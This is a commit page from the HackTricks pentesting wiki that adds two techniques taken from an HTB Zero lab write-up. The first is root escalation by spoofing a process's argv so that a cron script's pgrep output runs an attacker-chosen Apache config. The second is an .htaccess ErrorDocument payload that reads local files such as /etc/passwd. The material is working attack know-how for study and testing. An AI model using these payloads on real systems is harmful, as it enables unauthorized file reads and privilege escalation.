Skip to content

Commit 8a3275f

Browse files
author
HackTricks News Bot
committed
Add content from: HTB Zero: .htaccess ErrorDocument LFI → credential reuse → r...
- Remove searchindex.js (auto-generated file)
1 parent 7b609ae commit 8a3275f

2 files changed

Lines changed: 85 additions & 4 deletions

File tree

  • src
    • linux-hardening/privilege-escalation
    • network-services-pentesting/pentesting-web

src/linux-hardening/privilege-escalation/README.md

Lines changed: 50 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -452,6 +452,55 @@ It's possible to create a cronjob **putting a carriage return after a comment**
452452
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
453453
```
454454

455+
### pgrep/ps argv spoofing in privileged cron scripts
456+
457+
If a root cron/systemd timer script constructs commands from untrusted process listings, you can often escalate privileges by forging a process argv that the script consumes.
458+
459+
Vulnerable pattern (real-world example simplified):
460+
461+
```bash
462+
#!/usr/bin/bash
463+
RET=0
464+
while read pid _cmd ; do
465+
# Replace apache2 with apache2ctl and add -t for test
466+
cmd="${_cmd/apache2/apache2ctl} -t"
467+
$cmd >/dev/null 2>&1
468+
RET=$?
469+
done <<< $(/usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf")
470+
exit $RET
471+
```
472+
473+
Why vulnerable
474+
- pgrep -lfa prints PID and full command line of matching processes. Any user can spawn a process whose argv[0] matches the regex.
475+
- The script performs naive string substitution and then executes the resulting $cmd as root.
476+
477+
Exploit primitive: forge argv with execv
478+
479+
```bash
480+
# Make a fake process whose argv[0] matches the regex and inject flags we want
481+
python3 -c 'import os; os.execv("/bin/sleep", ["/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -f /home/me/pwn.conf", "60"])'
482+
# Verify it shows up as intended
483+
pgrep -lfa apache2
484+
```
485+
486+
The cron will then run, as root, something like:
487+
488+
```bash
489+
/opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -f /home/me/pwn.conf -t
490+
```
491+
492+
From primitive to root
493+
- Use -f /path/to/attacker.conf to point apache2ctl to a config you fully control; you can also override -d to influence ServerRoot resolution.
494+
- Craft attacker.conf to leverage Apache behaviors that execute privileged helpers during config parsing/startup (e.g., piped logs or other directives that may spawn programs during validation/startup in your target’s build). This can yield root-level command execution or privileged file writes even if the script runs with -t.
495+
496+
Detection and mitigation
497+
- Never execute strings built from process listings. Use fixed argv arrays and strict allowlists for both program and arguments.
498+
- If you must inspect processes, parse safely and avoid substituting and executing arbitrary strings; do not pass untrusted data through the shell.
499+
- Drop privileges in health-check jobs and test configs as an unprivileged user.
500+
501+
References
502+
- [HTB Zero write-up showing this abuse and path to root](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
503+
455504
## Services
456505

457506
### Writable _.service_ files
@@ -1673,7 +1722,7 @@ cisco-vmanage.md
16731722
- [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux)
16741723
- [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
16751724
- [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/)
1676-
1725+
- [HTB Zero: .htaccess ErrorDocument LFI → argv spoofing cron abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
16771726
16781727
## Android rooting frameworks: manager-channel abuse
16791728

src/network-services-pentesting/pentesting-web/apache.md

Lines changed: 35 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,38 @@ uid=1(daemon) gid=1(daemon) groups=1(daemon)
2727
Linux
2828
```
2929

30+
## LFI via .htaccess ErrorDocument file provider (ap_expr)
31+
32+
If you can control a directory’s .htaccess and AllowOverride includes FileInfo for that path, you can turn 404 responses into arbitrary local file reads using the ap_expr file() function inside ErrorDocument.
33+
34+
- Requirements:
35+
- Apache 2.4 with expression parser (ap_expr) enabled (default in 2.4).
36+
- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo).
37+
- The Apache worker user must have read permissions on the target file.
38+
39+
.htaccess payload:
40+
41+
```apache
42+
# Optional marker header just to identify your tenant/request path
43+
Header always set X-Debug-Tenant "demo"
44+
# On any 404 under this directory, return the contents of an absolute filesystem path
45+
ErrorDocument 404 %{file:/etc/passwd}
46+
```
47+
48+
Trigger by requesting any non-existing path below that directory, for example when abusing userdir-style hosting:
49+
50+
```bash
51+
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
52+
```
53+
54+
Notes and tips:
55+
- Only absolute paths work. The content is returned as the response body for the 404 handler.
56+
- Effective read permissions are those of the Apache user (typically www-data/apache). You won’t read /root/* or /etc/shadow in default setups.
57+
- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
58+
- rename .htaccess .htaccess.bk
59+
- put your malicious .htaccess
60+
- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).
61+
3062
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
3163

3264
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
@@ -274,8 +306,8 @@ Check [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker
274306
## References
275307

276308
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
309+
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
310+
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
311+
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
277312

278313
{{#include ../../banners/hacktricks-training.md}}
279-
280-
281-

0 commit comments

Comments
 (0)